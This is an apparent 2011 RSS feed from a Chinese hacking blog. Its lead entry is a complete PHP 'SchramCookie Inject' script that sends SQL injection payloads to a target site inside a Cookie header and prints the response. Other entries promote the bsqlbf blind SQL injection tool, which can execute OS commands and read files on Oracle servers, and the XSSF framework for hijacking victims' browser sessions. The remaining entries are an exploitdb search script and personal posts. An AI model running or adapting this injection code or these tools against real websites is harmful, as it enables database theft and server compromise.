<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_# Nig3h_Blog</title><subtitle type="text">The Internet. </subtitle><id>http://feed.cnblogs.com/blog/u/90195/rss</id><updated>2011-11-14T23:33:21Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/90195/rss"/><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/11/07/2239236.html</id><title type="text">SchramCookie Inject ver 1.0</title><summary type="text">&amp;lt;?php /*######################################################################### * / * * - &amp;gt;&amp;gt; SchramCookie Inject ver 1.0 * C0de by Nig3h -Greetz To All H3xIe Member. * link : xiaosan.cnblogs.com * ex : http://host/?url={$argv...</summary><published>2011-11-07T06:40:00Z</published><updated>2011-11-07T06:40:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/11/07/2239236.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/11/07/2239236.html"/><content type="html">&lt;div &gt;&#xD;
&lt;pre &gt;&amp;lt;?php&#xD;
    /*######################################################################### * /&#xD;
     *&#xD;
     *        - &amp;gt;&amp;gt; SchramCookie Inject ver 1.0 &#xD;
     *           C0de by Nig3h -Greetz To All H3xIe Member.&#xD;
     *               link : xiaosan.cnblogs.com&#xD;
     *                   ex : &lt;a href="http://host/?url={$argv[0]}?id"&gt;http://host/?url={$argv[0]}?id&lt;/a&gt; = variable;&#xD;
     *&#xD;
     *######################################################################### */&#xD;
&#xD;
    ini_set("max_execution_time", 0);&#xD;
    $Current_Host = null;&#xD;
    $Inj_Page = null;&#xD;
    $Query_String = null;&#xD;
    $Self = null;&#xD;
    $Query_Value = null;&#xD;
    if (empty($_GET["url"])) die("&amp;lt;h5&amp;gt;Please Enter Query_String.&amp;lt;/h5&amp;gt;");&#xD;
    Auto_($_GET["url"], $_GET["id"]);&#xD;
    function Printf_Info()&#xD;
    {&#xD;
        GlOBAL $Current_Host, $Inj_Page, $Query_String, $Self, $Query_Value;&#xD;
        $Magic_Quotes_GPC_Bool = False;&#xD;
        if (get_magic_quotes_gpc()) $Magic_Quotes_GPC_Bool = True;&#xD;
        $GPC_Status = $Magic_Quotes_GPC_Bool == True?"On":"Off";&#xD;
        echo '&amp;lt;html&amp;gt;'."\n";&#xD;
        echo '&amp;lt;head&amp;gt;&amp;lt;style type="text/css"&amp;gt;'."\n";&#xD;
        echo 'body{background-color: #CCE8CF; Font-size:12px;}.Style{font-size:11px;}'."\n";&#xD;
        echo '&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;'."\n";&#xD;
        echo '&amp;lt;body&amp;gt;'."\n";&#xD;
        echo '&amp;lt;!-- Auth0r : Nig3h --&amp;gt;'."\n";&#xD;
        echo '&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo '&amp;lt;div align="center" &amp;gt;';&#xD;
        echo '$_SERVER[&amp;lt;Font Color="red"&amp;gt;PHP_SELF&amp;lt;/Font&amp;gt;] : '.$Self.'&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'HOST : '.$Current_Host.'&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'Magic_Quotes_GPC : '.'&amp;lt;strong&amp;gt;'.$GPC_Status.'&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'Query_String : '.$Query_String.'&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'GET[ID]_Value : &amp;lt;strong&amp;gt;&amp;lt;Font Color="Red"&amp;gt;'.$Query_Value.'&amp;lt;/Font&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'Inject Page : '.$Inj_Page.'&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo 'Time : '.Date("M-D-Y").'&amp;lt;br /&amp;gt;'."\n";&#xD;
        echo '&amp;lt;hr&amp;gt;';&#xD;
        echo '&amp;lt;/div&amp;gt;';&#xD;
        echo '&amp;lt;/body&amp;gt;'."\n";&#xD;
        echo '&amp;lt;/html&amp;gt;'."\n";&#xD;
    }        &#xD;
&#xD;
    function Auto_($url, $id)&#xD;
    {&#xD;
        $url_len = strlen($url);&#xD;
        $str_http = str_replace(chr(92), '//', strtolower(substr($url, 0, 7)));&#xD;
        if ($str_http == 'http://')&#xD;
        {&#xD;
            $host = substr($url, 7, $url_len);&#xD;
        }&#xD;
        for ($i = 0; $i &amp;lt;= strlen($host); $i++)&#xD;
        {&#xD;
            if (($host[$i] == '/') or ($host[$i] == chr(92)))&#xD;
            {&#xD;
                $_Current_Host = substr($host, 0, $i);&#xD;
                break;&#xD;
            }&#xD;
        }&#xD;
        $Scr_Name = substr($host, $i, $url_len);&#xD;
        $url_i = strlen($Scr_Name) + 1;&#xD;
        $Scr_Begin = $i;&#xD;
        for ($i = 0; $i &amp;lt; strlen($Scr_Name); $i++)&#xD;
        {    &#xD;
            $url_i = $url_i - 1;&#xD;
            if ($Scr_Name[$url_i] == '?')&#xD;
            {&#xD;
                $_Inj_Page = substr($Scr_Name, 0, $url_i); # sql_inject Page;&#xD;
                break;&#xD;
            }&#xD;
        }&#xD;
        GLOBAL $Query_String, $Current_Host,  $Inj_Page, $Query_Value, $Self;&#xD;
        $Query_String = substr($Scr_Name, $url_i+1, strpos($Scr_Name, '=') - $url_i -1); # Query_String;&#xD;
        $Current_Host = $_Current_Host;&#xD;
        $Inj_Page = $_Inj_Page;&#xD;
        $Query_Value = $id;&#xD;
        $Self = $_SERVER['PHP_SELF'];&#xD;
        Printf_Info();&#xD;
        Ini_Main($Current_Host, $Inj_Page, $Query_String, $id);&#xD;
    }&#xD;
&#xD;
    function Ini_Main($Current_Host, $Inj_Page, $Query_String, $id)&#xD;
    {&#xD;
        # Config    &#xD;
        $Page_ID = $Query_String;&#xD;
        $Host = $Current_Host;&#xD;
        $Inj_Page = $Inj_Page;&#xD;
        # END_CONFIG&#xD;
        $inj_id = $id;&#xD;
        $inj_id = str_replace("=", "%3D", $id);&#xD;
        $inj_id = str_replace(" ", "%20", $inj_id);&#xD;
        $Cookie_Str = "XUJUSPNGRWXKIXLMZRTR=NGQIVFESDSNWCEBNMJSJDEIAMQVQWZMKOLMOZRCG;"."$Page_ID=$inj_id";&#xD;
        //$Data_Str = "id= $id";&#xD;
        $_HTTP_SEND_rs = POST($Host, 80, $Inj_Page, $Data_Str, 1000, $Cookie_Str); &#xD;
        echo $_HTTP_SEND_rs;&#xD;
    }&#xD;
    function Kill_Waste($str)&#xD;
    {&#xD;
        $str = strtolower($str);&#xD;
        $str = str_replace('&amp;lt;script', '&amp;lt;!-- ', $str);&#xD;
        $str = str_replace('&amp;lt;/script', ' --&amp;gt;', $str);&#xD;
        $str = str_replace('&amp;lt;style', '&amp;lt;!-- ', $str);&#xD;
        $str = str_replace('&amp;lt;/style', ' --&amp;gt;', $str);&#xD;
        $str = str_replace('&amp;lt;head', '&amp;lt;!-- ', $str);&#xD;
        $str = str_replace('&amp;lt;/head', ' --&amp;gt;', $str);&#xD;
        return $str;&#xD;
    }&#xD;
&#xD;
    function POST($host,$port,$path,$data,$timeout, $cookie='') &#xD;
    {&#xD;
        $buffer='';&#xD;
        $fp = fsockopen($host,$port,$errno,$errstr,$timeout);&#xD;
        if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); &#xD;
        else {&#xD;
                 fputs($fp, "POST $path HTTP/1.0\r\n");&#xD;
                 fputs($fp, "Host: $host\r\n");&#xD;
                 fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");&#xD;
                 fputs($fp, "Cookie: $cookie\r\n");&#xD;
                 fputs($fp, "Content-length: ".strlen($data)."\r\n");&#xD;
                 fputs($fp, "Connection: close\r\n\r\n");&#xD;
                 fputs($fp, $data."\r\n\r\n");&#xD;
                 $headers = "";&#xD;
                 while ($str = trim(fgets($fp,4096)))&#xD;
                 $headers .= "$str\n"; &#xD;
                 while(!feof($fp)) &#xD;
                 {&#xD;
                     $buffer .= Kill_Waste(fgets($fp,4096));&#xD;
                 } &#xD;
                     fclose($fp);&#xD;
             } &#xD;
        return $buffer;&#xD;
    } &#xD;
?&amp;gt;&#xD;
&lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;Download demo:&lt;/p&gt;&#xD;
&lt;p&gt;http://files.cnblogs.com/xiaosan/SchramInj_demo.zip&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2239236.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/11/07/2239236.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/11/06/2238306.html</id><title type="text">CyberGhost Free VPN</title><summary type="text">Includes 1 GB of trafficAccess to Free serversLimited availability with possible waiting timesForced disconnection after 6 hours (redial possible)Bandwidth limited to 2 Mbpshttp://cyberghostvpn.com/en/product/purchase.html</summary><published>2011-11-06T11:17:00Z</published><updated>2011-11-06T11:17:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/11/06/2238306.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/11/06/2238306.html"/><content type="html">&lt;p&gt;&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;Includes 1 GB of traffic&lt;/li&gt;&#xD;
&lt;li&gt;Access to Free servers&lt;/li&gt;&#xD;
&lt;li&gt;Limited availability with possible waiting times&lt;/li&gt;&#xD;
&lt;li&gt;Forced disconnection after 6 hours (redial possible)&lt;/li&gt;&#xD;
&lt;li&gt;Bandwidth limited to 2 Mbps&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;a href="http://cyberghostvpn.com/en/product/purchase.html"&gt;&amp;nbsp;http://cyberghostvpn.com/en/product/purchase.html&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2238306.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/11/06/2238306.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236786.html</id><title type="text">bsqlbf v2.3 Released – Blind SQL Injection Brute Forcing Tool</title><summary type="text">This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections.We reported bsqlbf when it first hit the net back in April 2006 with bsqlbf v1.1, then the v2.0 update in June 200</summary><published>2011-11-04T16:54:00Z</published><updated>2011-11-04T16:54:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236786.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236786.html"/><content type="html">&lt;p&gt;This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections.&lt;br /&gt;&lt;br /&gt;We reported bsqlbf when it first hit the net back in April 2006 with bsqlbf v1.1, then the v2.0 update in June 2008. This new update adds much better Oracle support.&lt;br /&gt;&lt;br /&gt;Databases supported:&lt;br /&gt;MS-SQL&lt;br /&gt; MySQL&lt;br /&gt;PostgreSQL&lt;br /&gt;Oracle &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The 6 Attack Models&lt;/strong&gt;&lt;br /&gt;Type 0: Blind SQL Injection based on true and false conditions returned by back-end server&lt;br /&gt;Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.&lt;br /&gt;Type 2: Blind SQL Injection in &amp;ldquo;order by&amp;rdquo; and &amp;ldquo;group by&amp;rdquo;.&lt;br /&gt; Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)&lt;br /&gt;Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)&lt;br /&gt; Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java) &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;New additions&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt; -type: Type of injection:&lt;br /&gt;&lt;br /&gt; 3: Type 3 is extracting data with DBA privileges&lt;br /&gt; (e.g. Oracle password hashes from sys.user$)&lt;br /&gt; 4: Type 4 is O.S code execution(default: ping 127.0.0.1)&lt;br /&gt; 5: Type 5 is Reading O.S files(default: c:\boot.ini)&lt;br /&gt;&lt;br /&gt;Type 4 (O.S code execution) supports the following sub types:&lt;br /&gt;&lt;br /&gt; -stype: How you want to execute command:&lt;br /&gt;&lt;br /&gt; 0: SType 0 (default) is based on java,&lt;br /&gt; universal but won&amp;rsquo;t work against XE&lt;br /&gt; 1: SType 1 against oracle 9 with plsql_native_make_utility&lt;br /&gt; 2: SType 2 against oracle 10 with dbms_scheduler&lt;br /&gt;&lt;br /&gt;You can download bsqlbf v2.3 here:&lt;/p&gt;&#xD;
&lt;p&gt;&lt;a href="http://bsqlbf-v2.googlecode.com/files/bsqlbf-v2-3.pl"&gt;bsqlbf-v2-3.pl&amp;nbsp;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2236786.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236786.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236782.html</id><title type="text">XSSF v2.1 - Cross-Site Scripting Framework</title><summary type="text">The Cross-Site Scripting Framework (XSSF) is a security tool designed to turn the XSS vulnerability exploitation task into a much easier work. The XSSF project aims to demonstrate the real dangers of XSS vulnerabilities, vulgarizing their exploitation. This project is created solely for education, p</summary><published>2011-11-04T16:42:00Z</published><updated>2011-11-04T16:42:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236782.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236782.html"/><content type="html">&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/304995/2011110500394735.png" alt="" /&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;The Cross-Site Scripting Framework (XSSF) is a security tool designed to turn the XSS vulnerability exploitation task into a much easier work. The XSSF project aims to demonstrate the real dangers of XSS vulnerabilities, vulgarizing their exploitation. This project is created solely for education, penetration testing and lawful research purposes. &lt;br /&gt;&lt;br /&gt; XSSF allows creating a communication channel with the targeted browser (from a XSS vulnerability) in order to perform further attacks. Users are free to select existing modules (a module = an attack) in order to target specific browsers. &lt;br /&gt;&lt;br /&gt; XSSF provides a powerfull documented API, which facilitates development of modules and attacks. In addition, its integration into the Metasploit Framework allows users to launch MSF browser based exploit easilly from an XSS vulnerability. &lt;br /&gt;&lt;br /&gt; In addition, an interesting though exploiting an XSS inside a victim's browser could be to browse website on attacker's browser, using the connected victim's session. In most of cases, simply stealing the victim cookie will be sufficient to realize this action. But in minority of cases (intranets, network tools portals, etc.), cookie won't be useful for an external attacker. That's why XSSF Tunnel was created to help the attacker to help the attacker browsing on affected domain using the victim's session.&lt;br /&gt;&lt;br /&gt; Изменения:&lt;/p&gt;&#xD;
&lt;ul&gt;&#xD;
&lt;li&gt;Ruby versions prior to 1.9.* should be working fine with XSSF&lt;/li&gt;&#xD;
&lt;li&gt;Webrick FileHandler implementation for faster XSSF files resources handler&lt;/li&gt;&#xD;
&lt;li&gt;Fixed URL with quote character handling bug in tunnel mode since revision 12&lt;/li&gt;&#xD;
&lt;li&gt;Added check in tunnel mode in order to prevent attacker from loading XSSF script&lt;/li&gt;&#xD;
&lt;li&gt;Better management with older Ruby versions&lt;/li&gt;&#xD;
&lt;li&gt;Server port separation between victims (attacks) and attacker resources (GUI + Proxy). Attacker sevices port = Victims services port + 1&lt;/li&gt;&#xD;
&lt;li&gt;New commands to see logs within console directly&lt;/li&gt;&#xD;
&lt;li&gt;Removed useless comands firing some bugs sometimes (xssf_test, xssf_logs, xssf_stats, xssf_help). Replaced with xssf_urls&lt;/li&gt;&#xD;
&lt;li&gt;Better public mode management for GUI and XSSF Tunnel remote access&lt;/li&gt;&#xD;
&lt;li&gt;Cleaned and modified help files&lt;/li&gt;&#xD;
&lt;/ul&gt;&#xD;
&lt;p&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/xssf/wiki/Install"&gt;XSSF Wiki&lt;/a&gt;&lt;br /&gt;&lt;a href="http://narod.yandex.ru/disk/22417952001/XSSF-2.1.tar"&gt;Скачать&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2236782.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/11/05/2236782.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/28/2227956.html</id><title type="text">换行符引发的恐慌....</title><summary type="text">今天在写东西的时候, 突然冒出一个问题让我百思不得其解. 问题出在哪呢？ 让我一一道来. 首先我先访问编写好的一个页面, 然后我用浏览器打开源码一看. 在HTML 标签前面出现了N个换行符, 虽然这些不会在浏览器上表现出来, 但是让人觉的很不美观. 这到底怎么回事呢？刚开始我也不知道,我也认为可能是编码上的问题, 但是翻了几个引用的文件都找不出眉目。不能淡定之时, 我把引用的文件Ctrl+X全部给剪切掉. 终于被我发现了一个惊天的秘密... oh,my god 然来&amp;quot;&amp;gt;&amp;quot; 后面有N个换行符...所以大家要养成良好的编码习惯, 以免给自己添加一些纠结的蛋疼的问题.</summary><published>2011-10-28T09:04:00Z</published><updated>2011-10-28T09:04:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/28/2227956.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/28/2227956.html"/><content type="html">&lt;p&gt;今天在写东西的时候, 突然冒出一个问题让我百思不得其解. 问题出在哪呢？ 让我一一道来. 首先我先访问编写好的一个页面, 然后我用浏览器打开源码一看. 在HTML 标签前面出现了N个换行符, 虽然这些不会在浏览器上表现出来, 但是让人觉的很不美观. 这到底怎么回事呢？刚开始我也不知道,我也认为可能是编码上的问题, 但是翻了几个引用的文件都找不出眉目。不能淡定之时, 我把引用的文件Ctrl+X全部给剪切掉. 终于被我发现了一个惊天的秘密... oh,my god 然来"&amp;gt;" 后面有N个换行符...所以大家要养成良好的编码习惯, 以免给自己添加一些纠结的蛋疼的问题.&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2227956.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/28/2227956.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/20/2219152.html</id><title type="text">博客终于恢复了.</title><summary type="text">昨天, 就突然一下子打不开了. 我很郁闷, 想到最近网络站点内容审查, 会不会是这个原因呢? 想了又想得出的结论----又是天朝... 为了讨回我这小小守法的公民公道, 只好联系博客园的人, 在各种解释后. 今天打开mail, 收到一了一封博客启动 的邮件. 哈哈, 很激动. 感谢博客园的朋友们细心审核. baidu好,sina好.qqzone好, 封了让你直抓挠, 用博客就用博客园.</summary><published>2011-10-20T08:52:00Z</published><updated>2011-10-20T08:52:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/20/2219152.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/20/2219152.html"/><content type="html">&lt;p&gt;昨天, 就突然一下子打不开了. 我很郁闷, 想到最近网络站点内容审查, 会不会是这个原因呢? 想了又想得出的结论----又是天朝... 为了讨回我这小小守法的公民公道, 只好联系博客园的人, 在各种解释后. 今天打开mail, 收到一了一封博客启动 的邮件. 哈哈, 很激动. 感谢博客园的朋友们细心审核. baidu好,sina好.qqzone好, 封了让你直抓挠, 用博客就用博客园.&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2219152.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/20/2219152.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/18/2216323.html</id><title type="text">早晨~~~~</title><summary type="text">不经意间双眼望向窗外, 发现外面的一切是如此的安详, 是一个美丽的早晨. 马路上,车来车往. 阳光遍布着一栋栋楼房. 一切真美好Y.</summary><published>2011-10-18T04:27:00Z</published><updated>2011-10-18T04:27:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/18/2216323.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/18/2216323.html"/><content type="html">&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;不经意间双眼望向窗外, 发现外面的一切是如此的安详, 是一个美丽的早晨. 马路上,车来车往. 阳光遍布着一栋栋楼房. 一切真美好Y.&lt;/p&gt;&#xD;
&lt;p&gt;&lt;img alt="" src="http://pic002.cnblogs.com/images/2011/304995/2011101812254910.png" /&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2216323.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/18/2216323.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/03/2198690.html</id><title type="text">exploitdbee.py 1.0</title><summary type="text">Easily search for exploits in BackTrack&amp;#39;s exploitdb (files.csv).Highlights:Search the exploitdb archive Case sensitive &amp;amp; insensitive Change output mode Automaticlly copy your exploits Requirements: python (tested with python 2.7.1 and 2.5.2) local exploitdb (pre-installed on BackTrack Linux)</summary><published>2011-10-03T14:05:00Z</published><updated>2011-10-03T14:05:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/03/2198690.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/03/2198690.html"/><content type="html">&lt;p&gt;Easily search for exploits in BackTrack's exploitdb (files.csv).&lt;/p&gt;&#xD;
&lt;p&gt;Highlights:&lt;br /&gt;Search the exploitdb archive &lt;br /&gt;Case sensitive &amp;amp; insensitive &lt;br /&gt;Change output mode &lt;br /&gt;Automaticlly copy your exploits &lt;br /&gt;Requirements: &lt;br /&gt;python (tested with python 2.7.1 and 2.5.2) &lt;br /&gt;local exploitdb (pre-installed on BackTrack Linux)&lt;/p&gt;&#xD;
&lt;p&gt;Usage:&lt;/p&gt;&#xD;
&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;"&gt;&#xD;
&lt;pre&gt;exploitdbee.py [-c] [-d path] &lt;br /&gt;exploitdbee.py &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;windows 7&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; remote &lt;br /&gt;exploitdbee.py -c Microsoft IIS -d /tmp  &lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;Options:&lt;br /&gt;--version show program's version number and exit&lt;br /&gt;-h, --help show this help message and exit&lt;br /&gt;-c, --casesensitive switch to casesensitive&lt;br /&gt;-v, --verbose detailed output&lt;br /&gt;-d PATH, --destination=PATH path to copy exploits&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;Code:&lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;pre &gt;#!/usr/bin/env python&#xD;
# -*- coding: utf-8 -*-&#xD;
#&#xD;
# exploitdbee.py&#xD;
# &#xD;
# Version: 1.0&#xD;
# &#xD;
# Copyright (C) 2011  novacane novacane[at]dandies[dot]org&#xD;
#&#xD;
# This program is free software: you can redistribute it and/or modify&#xD;
# it under the terms of the GNU General Public License as published by&#xD;
# the Free Software Foundation, either version 3 of the License, or&#xD;
# (at your option) any later version.&#xD;
#&#xD;
# This program is distributed in the hope that it will be useful,&#xD;
# but WITHOUT ANY WARRANTY; without even the implied warranty of&#xD;
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xD;
# GNU General Public License for more details.&#xD;
#&#xD;
# You should have received a copy of the GNU General Public License&#xD;
# along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&#xD;
#&#xD;
&#xD;
import sys&#xD;
import os&#xD;
import re&#xD;
import shutil&#xD;
from getpass import getpass&#xD;
from optparse import OptionParser&#xD;
&#xD;
def main(casesensitive, verbose, exploitpath, *args):&#xD;
    &#xD;
    exploitdbcsv = "/pentest/exploits/exploitdb/files.csv"&#xD;
&#xD;
    if not os.path.isfile(exploitdbcsv):&#xD;
        print "ERROR: EXPLOITDB DOESN'T EXIST"&#xD;
        sys.exit(1)&#xD;
    &#xD;
    # Open the exploitdb.&#xD;
    try:&#xD;
        f = open(exploitdbcsv)&#xD;
    except:&#xD;
        print "ERROR: CAN'T OPEN EXPLOITDB - FILES.CSV"&#xD;
        sys.exit(1)&#xD;
&#xD;
    exploitlist = []&#xD;
    &#xD;
    # First: Search the exploitdb and save the results to a list.&#xD;
    for line in f:&#xD;
        if casesensitive:&#xD;
            if re.search(re.escape(args[0][0]), line):&#xD;
                exploitlist.append(line)&#xD;
        elif not casesensitive:&#xD;
            if re.search(re.escape(args[0][0]), line, re.I):&#xD;
                exploitlist.append(line)&#xD;
&#xD;
    # The number of loops is the number of arguments.&#xD;
    i = 1&#xD;
    arglen = len(args[0])&#xD;
    &#xD;
    # Second: Cleanup the initial list.&#xD;
    # Loop through the list and remove all items which don't match the remaining argument(s).&#xD;
    if arglen &amp;gt; 1:&#xD;
        while True:&#xD;
            # Make a copy of the list to iterate over it.&#xD;
            for l in exploitlist[:]:&#xD;
                if casesensitive:&#xD;
                    if not re.search(re.escape(args[0][i]), l):&#xD;
                        exploitlist.remove(l)&#xD;
                elif not casesensitive:&#xD;
                    if not re.search(re.escape(args[0][i]), l, re.I):&#xD;
                        exploitlist.remove(l)&#xD;
            i += 1&#xD;
            if i == arglen: break&#xD;
    &#xD;
    # Output found exploits.&#xD;
    for i in exploitlist:&#xD;
        if verbose:&#xD;
            print i.strip("\n")&#xD;
        else:&#xD;
            print i.split(",")[2] + "  =&amp;gt;  " + i.split(",")[1]&#xD;
    print "\n"&#xD;
    &#xD;
    print str(len(exploitlist)) + " EXPLOITS FOUND."&#xD;
    &#xD;
    f.close()&#xD;
    &#xD;
    if not exploitpath:&#xD;
        sys.exit()&#xD;
    &#xD;
    # Copy the exploits.&#xD;
    while True:&#xD;
        try:&#xD;
            copyinput = raw_input("Copy exploits to destination? [y/n]: ")&#xD;
            if copyinput == "y":&#xD;
                if os.path.isdir(exploitpath):&#xD;
                    try:&#xD;
                        for i in exploitlist:&#xD;
                            shutil.copy("/pentest/exploits/exploitdb/" + i.split(",")[1], exploitpath)&#xD;
                    except:&#xD;
                        print "ERROR: CAN'T COPY FILES TO DESTINATION"&#xD;
                        sys.exit(1)&#xD;
                else:&#xD;
                    print "ERROR: DESTINATION DOESN'T EXIST"&#xD;
                break&#xD;
            elif copyinput == "n":&#xD;
                print "BYE"&#xD;
                sys.exit()&#xD;
            else:&#xD;
                print "ERROR: WRONG INPUT"&#xD;
        except KeyboardInterrupt:&#xD;
                print "\n"&#xD;
                sys.exit(1)&#xD;
&#xD;
if __name__ == '__main__':&#xD;
    &#xD;
    help_message = "\n\t[*] exploitdbee 1.0[*]\n\t[*] by dandies.org[*]\n\n\tTry: exploitdbee.py  --help\n"&#xD;
    usage = "\n  %prog [-c] [-d path] &amp;lt;term1&amp;gt; &amp;lt;term2&amp;gt; &amp;lt;term3&amp;gt; &amp;lt;term...&amp;gt;\n  %prog \"windows 7\" remote \&#xD;
            \n  %prog -c Microsoft IIS -d /tmp"&#xD;
    parser = OptionParser(usage=usage, version="%prog 1.0")&#xD;
    parser.add_option("-c", "--casesensitive", action="store_true",&#xD;
                    dest="casesensitive", help="switch to casesensitive")&#xD;
    parser.add_option("-v", "--verbose", action="store_true",&#xD;
                    dest="verbose", help="detailed output")&#xD;
    parser.add_option("-d", "--destination", metavar="PATH",&#xD;
                    dest="exploitpath", help="path to copy exploits")&#xD;
    &#xD;
